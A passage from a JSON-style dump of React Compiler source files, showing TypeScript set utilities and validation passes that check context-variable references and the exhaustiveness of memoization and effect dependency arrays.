V,\n): V {\n  if (m.has(key)) {\n    return m.get(key) as V;\n  } else {\n    m.set(key, defaultValue);\n    return defaultValue;\n  }\n}\nexport function Set_equal<T>(a: ReadonlySet<T>, b: ReadonlySet<T>): boolean {\n  if (a.size !== b.size) {\n    return false;\n  }\n  for (const item of a) {\n    if (!b.has(item)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nexport function Set_union<T>(a: ReadonlySet<T>, b: ReadonlySet<T>): Set<T> {\n  const union = new Set<T>(a);\n  for (const item of b) {\n    union.add(item);\n  }\n  return union;\n}\n\nexport function Set_intersect<T>(sets: Array<ReadonlySet<T>>): Set<T> {\n  if (sets.length === 0 || sets.some(s => s.size === 0)) {\n    return new Set();\n  } else if (sets.length === 1) {\n    return new Set(sets[0]);\n  }\n  const result: Set<T> = new Set();\n  const first = sets[0];\n  outer: for (const e of first) {\n    for (let i = 1; i < sets.length; i++) {\n      if (!sets[i].has(e)) {\n        continue outer;\n      }\n    }\n    result.add(e);\n  }\n  return result;\n}\n\n/**\n * @returns `true` if `a` is a superset of `b`.\n */\nexport function Set_isSuperset<T>(\n  a: ReadonlySet<T>,\n  b: ReadonlySet<T>,\n): boolean {\n  for (const v of b) {\n    if (!a.has(v)) {\n      return false;\n    }\n  }\n  return true;\n}\n\nexport function Iterable_some<T>(\n  iter: Iterable<T>,\n  pred: (item: T) => boolean,\n): boolean {\n  for (const item of iter) {\n    if (pred(item)) {\n      return true;\n    }\n  }\n  return false;\n}\n\nexport function nonNull<T extends NonNullable<U>, U>(\n  value: T | null | undefined,\n): value is T {\n  return value != null;\n}\n\nexport function Set_filter<T>(\n  source: ReadonlySet<T>,\n  fn: (arg: T) => boolean,\n): Set<T> {\n  const result = new Set<T>();\n  for (const entry of source) {\n    if (fn(entry)) {\n      result.add(entry);\n    }\n  }\n  return result;\n}\n\nexport function hasNode<T>(\n  input: NodePath<T | null | undefined>,\n): input is NodePath<NonNullable<T>> {\n  /*\n   * Internal babel is on an older version that does not have hasNode (v7.17)\n   * See https://github.com/babel/babel/pull/13940/files for impl\n   * https://github.com/babel/babel/blob/5ebab544af2f1c6fc6abdaae6f4e5426975c9a16/packages/babel-traverse/src/path/index.ts#L128-L130\n   */\n  return input.node != null;\n}\n\nexport function hasOwnProperty<T>(\n  obj: T,\n  key: string | number | symbol,\n): key is keyof T {\n  return Object.prototype.hasOwnProperty.call(obj, key);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateContextVariableLValues.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerDiagnostic, CompilerError} from '..';\nimport {ErrorCategory} from '../CompilerError';\nimport {Environment} from '../HIR/Environment';\nimport {HIRFunction, IdentifierId, Place} from '../HIR';\nimport {printPlace} from '../HIR/PrintHIR';\nimport {eachInstructionValueLValue, eachPatternOperand} from '../HIR/visitors';\n\n/**\n * Validates that all store/load references to a given named identifier align with the\n * \"kind\" of that variable (normal variable or context variable). For example, a context\n * variable may not be loaded/stored with regular StoreLocal/LoadLocal/Destructure instructions.\n */\nexport function validateContextVariableLValues(fn: HIRFunction): void {\n  const identifierKinds: IdentifierKinds = new Map();\n  validateContextVariableLValuesImpl(fn, identifierKinds, fn.env);\n}\n\nfunction validateContextVariableLValuesImpl(\n  fn: HIRFunction,\n  identifierKinds: IdentifierKinds,\n  env: Environment,\n): void {\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      const {value} = instr;\n      switch (value.kind) {\n        case 'DeclareContext':\n        case 'StoreContext': {\n          visit(identifierKinds, value.lvalue.place, 'context', env);\n          break;\n        }\n        case 'LoadContext': {\n          visit(identifierKinds, value.place, 'context', env);\n          break;\n        }\n        case 'StoreLocal':\n        case 'DeclareLocal': {\n          visit(identifierKinds, value.lvalue.place, 'local', env);\n          break;\n        }\n        case 'LoadLocal': {\n          visit(identifierKinds, value.place, 'local', env);\n          break;\n        }\n        case 'PostfixUpdate':\n        case 'PrefixUpdate': {\n          visit(identifierKinds, value.lvalue, 'local', env);\n          break;\n        }\n        case 'Destructure': {\n          for (const lvalue of eachPatternOperand(value.lvalue.pattern)) {\n            visit(identifierKinds, lvalue, 'destructure', env);\n          }\n          break;\n        }\n        case 'ObjectMethod':\n        case 'FunctionExpression': {\n          validateContextVariableLValuesImpl(\n            value.loweredFunc.func,\n            identifierKinds,\n            env,\n          );\n          break;\n        }\n        default: {\n          for (const _ of eachInstructionValueLValue(value)) {\n            fn.env.recordError(\n              CompilerDiagnostic.create({\n                category: ErrorCategory.Todo,\n                reason:\n                  'ValidateContextVariableLValues: unhandled instruction variant',\n                description: `Handle '${value.kind} lvalues`,\n              }).withDetails({\n                kind: 'error',\n                loc: value.loc,\n                message: null,\n              }),\n            );\n          }\n        }\n      }\n    }\n  }\n}\n\ntype IdentifierKinds = Map<\n  IdentifierId,\n  {place: Place; kind: 'local' | 'context' | 'destructure'}\n>;\n\nfunction visit(\n  identifiers: IdentifierKinds,\n  place: Place,\n  kind: 'local' | 'context' | 'destructure',\n  env: Environment,\n): void {\n  const prev = identifiers.get(place.identifier.id);\n  if (prev !== undefined) {\n    const wasContext = prev.kind === 'context';\n    const isContext = kind === 'context';\n    if (wasContext !== isContext) {\n      if (prev.kind === 'destructure' || kind === 'destructure') {\n        env.recordError(\n          CompilerDiagnostic.create({\n            category: ErrorCategory.Todo,\n            reason: `Support destructuring of context variables`,\n            description: null,\n          }).withDetails({\n            kind: 'error',\n            loc: kind === 'destructure' ? place.loc : prev.place.loc,\n            message: null,\n          }),\n        );\n        return;\n      }\n\n      CompilerError.invariant(false, {\n        reason:\n          'Expected all references to a variable to be consistently local or context references',\n        description: `Identifier ${printPlace(place)} is referenced as a ${kind} variable, but was previously referenced as a ${prev.kind} variable`,\n        message: `this is ${prev.kind}`,\n        loc: place.loc,\n      });\n    }\n  }\n  identifiers.set(place.identifier.id, {place, kind});\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateExhaustiveDependencies.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport prettyFormat from 'pretty-format';\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  CompilerSuggestionOperation,\n  Effect,\n  SourceLocation,\n} from '..';\nimport {CompilerSuggestion, ErrorCategory} from '../CompilerError';\nimport {\n  areEqualPaths,\n  BlockId,\n  DependencyPath,\n  FinishMemoize,\n  GeneratedSource,\n  HIRFunction,\n  Identifier,\n  IdentifierId,\n  InstructionKind,\n  isEffectEventFunctionType,\n  isPrimitiveType,\n  isStableType,\n  isSubPath,\n  isSubPathIgnoringOptionals,\n  isUseEffectHookType,\n  isUseInsertionEffectHookType,\n  isUseLayoutEffectHookType,\n  isUseRefType,\n  LoadGlobal,\n  ManualMemoDependency,\n  Place,\n  StartMemoize,\n} from '../HIR';\nimport {\n  eachInstructionLValue,\n  eachInstructionValueLValue,\n  eachInstructionValueOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {retainWhere} from '../Utils/utils';\n\nconst DEBUG = false;\n\n/**\n * Validates that existing manual memoization is exhaustive and does not\n * have extraneous dependencies. The goal of the validation is to ensure\n * that auto-memoization will not substantially change the behavior of\n * the program:\n * - If the manual dependencies were non-exhaustive (missing important deps)\n *   then auto-memoization will include those dependencies, and cause the\n *   value to update *more* frequently.\n * - If the manual dependencies had extraneous deps, then auto memoization\n *   will remove them and cause the value to update *less* frequently.\n *\n * The implementation compares the manual dependencies against the values\n * actually used within the memoization function\n * - For each value V referenced in the memo function, either:\n *   - If the value is non-reactive *and* a known stable type, then the\n *     value may optionally be specified as an exact dependency.\n *   - Otherwise, report an error unless there is a manual dependency that will\n *     invalidate whenever V invalidates. If `x.y.z` is referenced, there must\n *     be a manual dependency for `x.y.z`, `x.y`, or `x`. Note that we assume\n *     no interior mutability, ie we assume that any changes to inner paths must\n *     always cause the other path to change as well.\n * - Any dependencies that do not correspond to a value referenced in the memo\n *   function are considered extraneous and throw an error\n *\n * ## TODO: Invalid, Complex Deps\n *\n * Handle cases where the user deps were not simple identifiers + property chains.\n * We try to detect this in ValidateUseMemo but we miss some cases. The problem\n * is that invalid forms can be value blocks or function calls that don't get\n * removed by DCE, leaving a structure like:\n *\n * StartMemoize\n * t0 = <value to memoize>\n * ...non-DCE'd code for manual deps...\n * FinishMemoize decl=t0\n *\n * When we go to compute the dependencies, we then think that the user's manual dep\n * logic is part of what the memo computation logic.\n */\nexport function validateExhaustiveDependencies(fn: HIRFunction): void {\n  const env = fn.env;\n  const reactive = collectReactiveIdentifiersHIR(fn);\n\n  const temporaries: Map<IdentifierId, Temporary> = new Map();\n  for (const param of fn.params) {\n    const place = param.kind === 'Identifier' ? param : param.place;\n    temporaries.set(place.identifier.id, {\n      kind: 'Local',\n      identifier: place.identifier,\n      path: [],\n      context: false,\n      loc: place.loc,\n    });\n  }\n  let startMemo: StartMemoize | null = null;\n\n  function onStartMemoize(\n    value: StartMemoize,\n    dependencies: Set<InferredDependency>,\n    locals: Set<IdentifierId>,\n  ): void {\n    CompilerError.invariant(startMemo == null, {\n      reason: 'Unexpected nested memo calls',\n      loc: value.loc,\n    });\n    startMemo = value;\n    dependencies.clear();\n    locals.clear();\n  }\n  function onFinishMemoize(\n    value: FinishMemoize,\n    dependencies: Set<InferredDependency>,\n    locals: Set<IdentifierId>,\n  ): void {\n    CompilerError.invariant(\n      startMemo != null && startMemo.manualMemoId === value.manualMemoId,\n      {\n        reason: 'Found FinishMemoize without corresponding StartMemoize',\n        loc: value.loc,\n      },\n    );\n    if (env.config.validateExhaustiveMemoizationDependencies) {\n      visitCandidateDependency(value.decl, temporaries, dependencies, locals);\n      const inferred: Array<InferredDependency> = Array.from(dependencies);\n\n      const diagnostic = validateDependencies(\n        inferred,\n        startMemo.deps ?? [],\n        reactive,\n        startMemo.depsLoc,\n        ErrorCategory.MemoDependencies,\n        'all',\n      );\n      if (diagnostic != null) {\n        fn.env.recordError(diagnostic);\n        startMemo.hasInvalidDeps = true;\n      }\n    }\n\n    dependencies.clear();\n    locals.clear();\n    startMemo = null;\n  }\n\n  collectDependencies(\n    fn,\n    temporaries,\n    {\n      onStartMemoize,\n      onFinishMemoize,\n      onEffect: (inferred, manual, manualMemoLoc) => {\n        if (env.config.validateExhaustiveEffectDependencies === 'off') {\n          return;\n        }\n        if (DEBUG) {\n          console.log(Array.from(inferred, printInferredDependency));\n          console.log(Array.from(manual, printInferredDependency));\n        }\n        const manualDeps: Array<ManualMemoDependency> = [];\n        for (const dep of manual) {\n          if (dep.kind === 'Local') {\n            manualDeps.push({\n              root: {\n                kind: 'NamedLocal',\n                constant: false,\n                value: {\n                  effect: Effect.Read,\n                  identifier: dep.identifier,\n                  kind: 'Identifier',\n                  loc: dep.loc,\n                  reactive: reactive.has(dep.identifier.id),\n                },\n              },\n              path: dep.path,\n              loc: dep.loc,\n            });\n          } else {\n            manualDeps.push({\n              root: {\n                kind: 'Global',\n                identifierName: dep.binding.name,\n              },\n              path: [],\n              loc: GeneratedSource,\n            });\n          }\n        }\n        const effectReportMode =\n          typeof env.config.validateExhaustiveEffectDependencies === 'string'\n            ? env.config.validateExhaustiveEffectDependencies\n            : 'all';\n        const diagnostic = validateDependencies(\n          Array.from(inferred),\n          manualDeps,\n          reactive,\n          manualMemoLoc,\n          ErrorCategory.EffectExhaustiveDependencies,\n          effectReportMode,\n        );\n        if (diagnostic != null) {\n          fn.env.recordError(diagnostic);\n        }\n      },\n    },\n    false, // isFunctionExpression\n  );\n}\n\nfunction validateDependencies(\n  inferred: Array<InferredDependency>,\n  manualDependencies: Array<ManualMemoDependency>,\n  reactive: Set<IdentifierId>,\n  manualMemoLoc: SourceLocation | null,\n  category:\n    | ErrorCategory.MemoDependencies\n    | ErrorCategory.EffectExhaustiveDependencies,\n  exhaustiveDepsReportMode: 'all' | 'missing-only' | 'extra-only',\n): CompilerDiagnostic | null {\n  // Sort dependencies by name and path, with shorter/non-optional paths first\n  inferred.sort((a, b) => {\n    if (a.kind === 'Global' && b.kind == 'Global') {\n      return a.binding.name.localeCompare(b.binding.name);\n    } else if (a.kind == 'Local' && b.kind == 'Local') {\n      CompilerError.invariant(\n        a.identifier.name != null &&\n          a.identifier.name.kind === 'named' &&\n          b.identifier.name != null &&\n          b.identifier.name.kind === 'named',\n        {\n          reason: 'Expected dependencies to be named variables',\n          loc: a.loc,\n        },\n      );\n      if (a.identifier.id !== b.identifier.id) {\n        return a.identifier.name.value.localeCompare(b.identifier.name.value);\n      }\n      if (a.path.length !== b.path.length) {\n        // if a's path is shorter this returns a negative, sorting a first\n        return a.path.length - b.path.length;\n      }\n      for (let i = 0; i < a.path.length; i++) {\n        const aProperty = a.path[i];\n        const bProperty = b.path[i];\n        const aOptional = aProperty.optional ? 0 : 1;\n        const bOptional = bProperty.optional ? 0 : 1;\n        if (aOptional !== bOptional) {\n          // sort non-optionals first\n          return aOptional - bOptional;\n        } else if (aProperty.property !== bProperty.property) {\n          return String(aProperty.property).localeCompare(\n            String(bProperty.property),\n          );\n        }\n      }\n      return 0;\n    } else {\n      const aName =\n        a.kind === 'Global' ? a.binding.name : a.identifier.name?.value;\n      const bName =\n        b.kind === 'Global' ? b.binding.name : b.identifier.name?.value;\n      if (aName != null && bName != null) {\n        return aName.localeCompare(bName);\n      }\n      return 0;\n    }\n  });\n  // remove redundant inferred dependencies\n  retainWhere(inferred, (dep, ix) => {\n    const match = inferred.findIndex(prevDep => {\n      return (\n        isEqualTemporary(prevDep, dep) ||\n        (prevDep.kind === 'Local' &&\n          dep.kind === 'Local' &&\n          prevDep.identifier.id === dep.identifier.id &&\n          isSubPath(prevDep.path, dep.path))\n      );\n    });\n    // only retain entries that don't have a prior match\n    return match === -1 || match >= ix;\n  });\n  // Validate that all manual dependencies belong there\n  if (DEBUG) {\n    console.log('manual');\n    console.log(\n      manualDependencies\n        .map(x => '  ' + printManualMemoDependency(x))\n        .join('\\n'),\n    );\n    console.log('inferred');\n    console.log(\n      inferred.map(x => '  ' + printInferredDependency(x)).join('\\n'),\n    );\n  }\n  const matched: Set<ManualMemoDependency> = new Set();\n  const missing: Array<Extract<InferredDependency, {kind: 'Local'}>> = [];\n  const extra: Array<ManualMemoDependency> = [];\n  for (const inferredDependency of inferred) {\n    if (inferredDependency.kind === 'Global') {\n      for (const manualDependency of manualDependencies) {\n        if (\n          manualDependency.root.kind === 'Global' &&\n          manualDependency.root.identifierName ===\n            inferredDependency.binding.name\n        ) {\n          matched.add(manualDependency);\n          extra.push(manualDependency);\n        }\n      }\n      continue;\n    }\n    CompilerError.invariant(inferredDependency.kind === 'Local', {\n      reason: 'Unexpected function dependency',\n      loc: inferredDependency.loc,\n    });\n    /**\n     * Skip effect event functions as they are not valid dependencies\n     */\n    if (isEffectEventFunctionType(inferredDependency.identifier)) {\n      continue;\n    }\n    let hasMatchingManualDependency = false;\n    for (const manualDependency of manualDependencies) {\n      if (\n        manualDependency.root.kind === 'NamedLocal' &&\n        manualDependency.root.value.identifier.id ===\n          inferredDependency.identifier.id &&\n        (areEqualPaths(manualDependency.path, inferredDependency.path) ||\n          isSubPathIgnoringOptionals(\n            manualDependency.path,\n            inferredDependency.path,\n          ))\n      ) {\n        hasMatchingManualDependency = true;\n        matched.add(manualDependency);\n      }\n    }\n    if (\n      hasMatchingManualDependency ||\n      isOptionalDependency(inferredDependency, reactive)\n    ) {\n      continue;\n    }\n\n    missing.push(inferredDependency);\n  }\n\n  for (const dep of manualDependencies) {\n    if (matched.has(dep)) {\n      continue;\n    }\n    if (dep.root.kind === 'NamedLocal' && dep.root.constant) {\n      CompilerError.invariant(\n        !dep.root.value.reactive && isPrimitiveType(dep.root.value.identifier),\n        {\n          reason: 'Expected constant-folded dependency to be non-reactive',\n          loc: dep.root.value.loc,\n        },\n      );\n      /*\n       * Constant primitives can get constant-folded, which means we won't\n       * see a LoadLocal for the value within the memo function.\n       */\n      continue;\n    }\n    extra.push(dep);\n  }\n\n  // Filter based on report mode\n  const filteredMissing =\n    exhaustiveDepsReportMode === 'extra-only' ? [] : missing;\n  const filteredExtra =\n    exhaustiveDepsReportMode === 'missing-only' ? [] : extra;\n\n  if (filteredMissing.length !== 0 || filteredExtra.length !== 0) {\n    let suggestion: CompilerSuggestion | null = null;\n    if (\n      manualMemoLoc != null &&\n      typeof manualMemoLoc !== 'symbol' &&\n      manualMemoLoc.start.index != null &&\n      manualMemoLoc.end.index != null\n    ) {\n      suggestion = {\n        description: 'Update dependencies',\n        range: [manualMemoLoc.start.index, manualMemoLoc.end.index],\n        op: CompilerSuggestionOperation.Replace,\n        text: `[${inferred\n          .filter(\n            dep =>\n              dep.kind === 'Local' &&\n              !isOptionalDependency(dep, reactive) &&\n              !isEffectEventFunctionType(dep.identifier),\n          )\n          .map(printInferredDependency)\n          .join(', ')}]`,\n      };\n    }\n    const diagnostic = createDiagnostic(\n      category,\n      filteredMissing,\n      filteredExtra,\n      suggestion,\n    );\n    for (const dep of filteredMissing) {\n      let reactiveStableValueHint = '';\n      if (isStableType(dep.identifier)) {\n        reactiveStableValueHint =\n          '. Refs, setState functions, and other \"stable\" values generally do not need to be added ' +\n          'as dependencies, but this variable may change over time to point to different values';\n      }\n      diagnostic.withDetails({\n        kind: 'error',\n        message: `Missing dependency \\`${printInferredDependency(dep)}\\`${reactiveStableValueHint}`,\n        loc: dep.loc,\n      });\n    }\n    for (const dep of filteredExtra) {\n      if (dep.root.kind === 'Global') {\n        diagnostic.withDetails({\n          kind: 'error',\n          message:\n            `Unnecessary dependency \\`${printManualMemoDependency(dep)}\\`. ` +\n            'Values declared outside of a component/hook should not be listed as ' +\n            'dependencies as the component will not re-render if they change',\n          loc: dep.loc ?? manualMemoLoc,\n        });\n      } else {\n        const root = dep.root.value;\n        const matchingInferred = inferred.find(\n          (\n            inferredDep,\n          ): inferredDep is Extract<InferredDependency, {kind: 'Local'}> => {\n            return (\n              inferredDep.kind === 'Local' &&\n              inferredDep.identifier.id === root.identifier.id &&\n              isSubPathIgnoringOptionals(inferredDep.path, dep.path)\n            );\n          },\n        );\n        if (\n          matchingInferred != null &&\n          isEffectEventFunctionType(matchingInferred.identifier)\n        ) {\n          diagnostic.withDetails({\n            kind: 'error',\n            message:\n              `Functions returned from \\`useEffectEvent\\` must not be included in the dependency array. ` +\n              `Remove \\`${printManualMemoDependency(dep)}\\` from the dependencies.`,\n            loc: dep.loc ?? manualMemoLoc,\n          });\n        } else if (\n          matchingInferred != null &&\n          !isOptionalDependency(matchingInferred, reactive)\n        ) {\n          diagnostic.withDetails({\n            kind: 'error',\n            message:\n              `Overly precise dependency \\`${printManualMemoDependency(dep)}\\`, ` +\n              `use \\`${printInferredDependency(matchingInferred)}\\` instead`,\n            loc: dep.loc ?? manualMemoLoc,\n          });\n        } else {\n          /**\n           * Else this dependency doesn't correspond to anything referenced in the memo function,\n           * or is an optional dependency so we don't want to suggest adding it\n           */\n          diagnostic.withDetails({\n            kind: 'error',\n            message: `Unnecessary dependency \\`${printManualMemoDependency(dep)}\\``,\n            loc: dep.loc ?? manualMemoLoc,\n          });\n        }\n      }\n    }\n    if (suggestion != null) {\n      diagnostic.withDetails({\n        kind: 'hint',\n        message: `Inferred dependencies: \\`${suggestion.text}\\``,\n      });\n    }\n    return diagnostic;\n  }\n  return null;\n}\n\nfunction addDependency(\n  dep: Temporary,\n  dependencies: Set<InferredDependency>,\n  locals: Set<IdentifierId>,\n): void {\n  if (dep.kind === 'Aggregate') {\n    for (const x of dep.dependencies) {\n      addDependency(x, dependencies, locals);\n    }\n  } else if (dep.kind === 'Global') {\n    dependencies.add(dep);\n  } else if (!locals.has(dep.identifier.id)) {\n    dependencies.add(dep);\n  }\n}\n\nfunction visitCandidateDependency(\n  place: Place,\n  temporaries: Map<IdentifierId, Temporary>,\n  dependencies: Set<InferredDependency>,\n  locals: Set<IdentifierId>,\n): void {\n  const dep = temporaries.get(place.identifier.id);\n  if (dep != null) {\n    addDependency(dep, dependencies, locals);\n  }\n}\n\n/**\n * This function determines the dependencies of the given function relative to\n * its external context. Dependencies are collected eagerly, the first time an\n * external variable is referenced, as opposed to trying to delay or aggregate\n * calculation of dependencies until they are later \"used\".\n *\n * For example, in\n *\n * ```\n * function f() {\n *   let x = y; // we record a dependency on `y` here\n *   ...\n *   use(x); // as opposed to trying to delay that dependency until here\n * }\n * ```\n *\n * That said, LoadLocal/LoadContext does not immediately take a dependency,\n * we store the dependency in a temporary and set it as used when that temporary\n * is referenced as an operand.\n *\n * As we proceed through the function we track local variables that it creates\n * and don't consider later references to these variables as dependencies.\n *\n * For function expressions we first collect the function's dependencies by\n * calling this function recursively, _without_ taking into account whether\n * the \"external\" variables it accesses are actually external or just locals\n * in the parent. We then prune any locals and immediately consider any\n * remaining externals that it accesses as a dependency:\n *\n * ```\n * function Component() {\n *   const local = ...;\n *   const f = () => { return [external, local] };\n * }\n * ```\n *\n * Here we calculate `f` as having dependencies `external, `local` and save\n * this into `temporaries`. We then also immediately take these as dependencies\n * at the Component scope, at which point we filter out `local` as a local variable,\n * leaving just a dependency on `external`.\n *\n * When calling this function on a top-level component or hook, the collected dependencies\n * will only contain the globals that it accesses which isn't useful. Instead, passing\n * onStartMemoize/onFinishMemoize callbacks allows looking at the dependencies within\n * blocks of manual memoization.\n */\nfunction collectDependencies(\n  fn: HIRFunction,\n  temporaries: Map<IdentifierId, Temporary>,\n  callbacks: {\n    onStartMemoize: (\n      startMemo: StartMemoize,\n      dependencies: Set<InferredDependency>,\n      locals: Set<IdentifierId>,\n    ) => void;\n    onFinishMemoize: (\n      finishMemo: FinishMemoize,\n      dependencies: Set<InferredDependency>,\n      locals: Set<IdentifierId>,\n    ) => void;\n    onEffect: (\n      inferred: Set<InferredDependency>,\n      manual: Set<InferredDependency>,\n      manualMemoLoc: SourceLocation | null,\n    ) => void;\n  } | null,\n  isFunctionExpression: boolean,\n): Extract<Temporary, {kind: 'Aggregate'}> {\n  const optionals = findOptionalPlaces(fn);\n  if (DEBUG) {\n    console.log(prettyFormat(optionals));\n  }\n  const locals: Set<IdentifierId> = new Set();\n  if (isFunctionExpression) {\n    for (const param of fn.params) {\n      const place = param.kind === 'Identifier' ? param : param.place;\n      locals.add(place.identifier.id);\n    }\n  }\n\n  const dependencies: Set<InferredDependency> = new Set();\n  function visit(place: Place): void {\n    visitCandidateDependency(place, temporaries, dependencies, locals);\n  }\n  for (const block of fn.body.blocks.values()) {\n    for (const phi of block.phis) {\n      const deps: Array<InferredDependency> = [];\n      for (const operand of phi.operands.values()) {\n        const dep = temporaries.get(operand.identifier.id);\n        if (dep == null) {\n          continue;\n        }\n        if (dep.kind === 'Aggregate') {\n          deps.push(...dep.dependencies);\n        } else {\n          deps.push(dep);\n        }\n      }\n      if (deps.length === 0) {\n        continue;\n      } else if (deps.length === 1) {\n        temporaries.set(phi.place.identifier.id, deps[0]!);\n      } else {\n        temporaries.set(phi.place.identifier.id, {\n          kind: 'Aggregate',\n          dependencies: new Set(deps),\n        });\n      }\n    }\n\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'LoadGlobal': {\n          temporaries.set(lvalue.identifier.id, {\n            kind: 'Global',\n            binding: value.binding,\n          });\n          break;\n        }\n        case 'LoadContext':\n        case 'LoadLocal': {\n          const temp = temporaries.get(value.place.identifier.id);\n          if (temp != null) {\n            if (temp.kind === 'Local') {\n              const local: Temporary = {...temp, loc: value.place.loc};\n              temporaries.set(lvalue.identifier.id, local);\n            } else {\n              temporaries.set(lvalue.identifier.id, temp);\n            }\n            if (locals.has(value.place.identifier.id)) {\n              locals.add(lvalue.identifier.id);\n            }\n          }\n          break;\n        }\n        case 'DeclareLocal': {\n          const local: Temporary = {\n            kind: 'Local',\n            identifier: value.lvalue.place.identifier,\n            path: [],\n            context: false,\n            loc: value.lvalue.place.loc,\n          };\n          temporaries.set(value.lvalue.place.identifier.id, local);\n          locals.add(value.lvalue.place.identifier.id);\n          break;\n        }\n        case 'StoreLocal': {\n          if (value.lvalue.place.identifier.name == null) {\n            const temp = temporaries.get(value.value.identifier.id);\n            if (temp != null) {\n              temporaries.set(value.lvalue.place.identifier.id, temp);\n            }\n            break;\n          }\n          visit(value.value);\n          if (value.lvalue.kind !== InstructionKind.Reassign) {\n            const local: Temporary = {\n              kind: 'Local',\n              identifier: value.lvalue.place.identifier,\n              path: [],\n              context: false,\n              loc: value.lvalue.place.loc,\n            };\n            temporaries.set(value.lvalue.place.identifier.id, local);\n            locals.add(value.lvalue.place.identifier.id);\n          }\n          break;\n        }\n        case 'DeclareContext': {\n          const local: Temporary = {\n            kind: 'Local',\n            identifier: value.lvalue.place.identifier,\n            path: [],\n            context: true,\n            loc: value.lvalue.place.loc,\n          };\n          temporaries.set(value.lvalue.place.identifier.id, local);\n          break;\n        }\n        case 'StoreContext': {\n          visit(value.value);\n          if (value.lvalue.kind !== InstructionKind.Reassign) {\n            const local: Temporary = {\n              kind: 'Local',\n              identifier: value.lvalue.place.identifier,\n              path: [],\n              context: true,\n              loc: value.lvalue.place.loc,\n            };\n            temporaries.set(value.lvalue.place.identifier.id, local);\n            locals.add(value.lvalue.place.identifier.id);\n          }\n          break;\n        }\n        case 'Destructure': {\n          visit(value.value);\n          if (value.lvalue.kind !== InstructionKind.Reassign) {\n            for (const lvalue of eachInstructionValueLValue(value)) {\n              const local: Temporary = {\n                kind: 'Local',\n                identifier: lvalue.identifier,\n                path: [],\n                context: false,\n                loc: lvalue.loc,\n              };\n              temporaries.set(lvalue.identifier.id, local);\n              locals.add(lvalue.identifier.id);\n            }\n          }\n          break;\n        }\n        case 'PropertyLoad': {\n          if (\n            typeof value.property === 'number' ||\n            (isUseRefType(value.object.identifier) &&\n              value.property === 'current')\n          ) {\n            visit(value.object);\n            break;\n          }\n          const object = temporaries.get(value.object.identifier.id);\n          if (object != null && object.kind === 'Local') {\n            const optional = optionals.get(value.object.identifier.id) ?? false;\n            const local: Temporary = {\n              kind: 'Local',\n              identifier: object.identifier,\n              context: object.context,\n              path: [\n                ...object.path,\n                {\n                  optional,\n                  property: value.property,\n                  loc: value.loc,\n                },\n              ],\n              loc: value.loc,\n            };\n            temporaries.set(lvalue.identifier.id, local);\n          }\n          break;\n        }\n        case 'FunctionExpression':\n        case 'ObjectMethod': {\n          const functionDeps = collectDependencies(\n            value.loweredFunc.func,\n            temporaries,\n            null,\n            true, // isFunctionExpression\n          );\n          temporaries.set(lvalue.identifier.id, functionDeps);\n          addDependency(functionDeps, dependencies, locals);\n          break;\n        }\n        case 'StartMemoize': {\n          const onStartMemoize = callbacks?.onStartMemoize;\n          if (onStartMemoize != null) {\n            onStartMemoize(value, dependencies, locals);\n          }\n          break;\n        }\n        case 'FinishMemoize': {\n          const onFinishMemoize = callbacks?.onFinishMemoize;\n          if (onFinishMemoize != null) {\n            onFinishMemoize(value, dependencies, locals);\n          }\n          break;\n        }\n        case 'ArrayExpression': {\n          const arrayDeps: Set<InferredDependency> = new Set();\n          for (const item of value.elements) {\n            if (item.kind === 'Hole') {\n              continue;\n            }\n            const place = item.kind === 'Identifier' ? item : item.place;\n            // Visit with alternative deps/locals to record manual dependencies\n            visitCandidateDependency(place, temporaries, arrayDeps, new Set());\n            // Visit normally to propagate inferred dependencies upward\n            visit(place);\n          }\n          temporaries.set(lvalue.identifier.id, {\n            kind: 'Aggregate',\n            dependencies: arrayDeps,\n            loc: value.loc,\n          });\n          break;\n        }\n        case 'CallExpression':\n        case 'MethodCall': {\n          const receiver =\n            value.kind === 'CallExpression' ? value.callee : value.property;\n\n          const onEffect = callbacks?.onEffect;\n          if (onEffect != null && isEffectHook(receiver.identifier)) {\n            const [fn, deps] = value.args;\n            if (fn?.kind === 'Identifier' && deps?.kind === 'Identifier') {\n              const fnDeps = temporaries.get(fn.identifier.id);\n              const manualDeps = temporaries.get(deps.identifier.id);\n              if (\n                fnDeps?.kind === 'Aggregate' &&\n                manualDeps?.kind === 'Aggregate'\n              ) {\n                onEffect(\n                  fnDeps.dependencies,\n                  manualDeps.dependencies,\n                  manualDeps.loc ?? null,\n                );\n              }\n            }\n          }\n\n          // Ignore the method itself\n          for (const operand of eachInstructionValueOperand(value)) {\n            if (\n              value.kind === 'MethodCall' &&\n              operand.identifier.id === value.property.identifier.id\n            ) {\n              continue;\n            }\n            visit(operand);\n          }\n          break;\n        }\n        default: {\n          for (const operand of eachInstructionValueOperand(value)) {\n            visit(operand);\n          }\n          for (const lvalue of eachInstructionLValue(instr)) {\n            locals.add(lvalue.identifier.id);\n          }\n        }\n      }\n    }\n    for (const operand of eachTerminalOperand(block.terminal)) {\n      if (optionals.has(operand.identifier.id)) {\n        continue;\n      }\n      visit(operand);\n    }\n  }\n  return {kind: 'Aggregate', dependencies};\n}\n\nfunction printInferredDependency(dep: InferredDependency): string {\n  switch (dep.kind) {\n    case 'Global': {\n      return dep.binding.name;\n    }\n    case 'Local': {\n      CompilerError.invariant(\n        dep.identifier.name != null && dep.identifier.name.kind === 'named',\n        {\n          reason: 'Expected dependencies to be named variables',\n          loc: dep.loc,\n        },\n      );\n      return `${dep.identifier.name.value}${dep.path.map(p => (p.optional ? '?' : '') + '.' + p.property).join('')}`;\n    }\n  }\n}\n\nfunction printManualMemoDependency(dep: ManualMemoDependency): string {\n  let identifierName: string;\n  if (dep.root.kind === 'Global') {\n    identifierName = dep.root.identifierName;\n  } else {\n    const name = dep.root.value.identifier.name;\n    CompilerError.invariant(name != null && name.kind 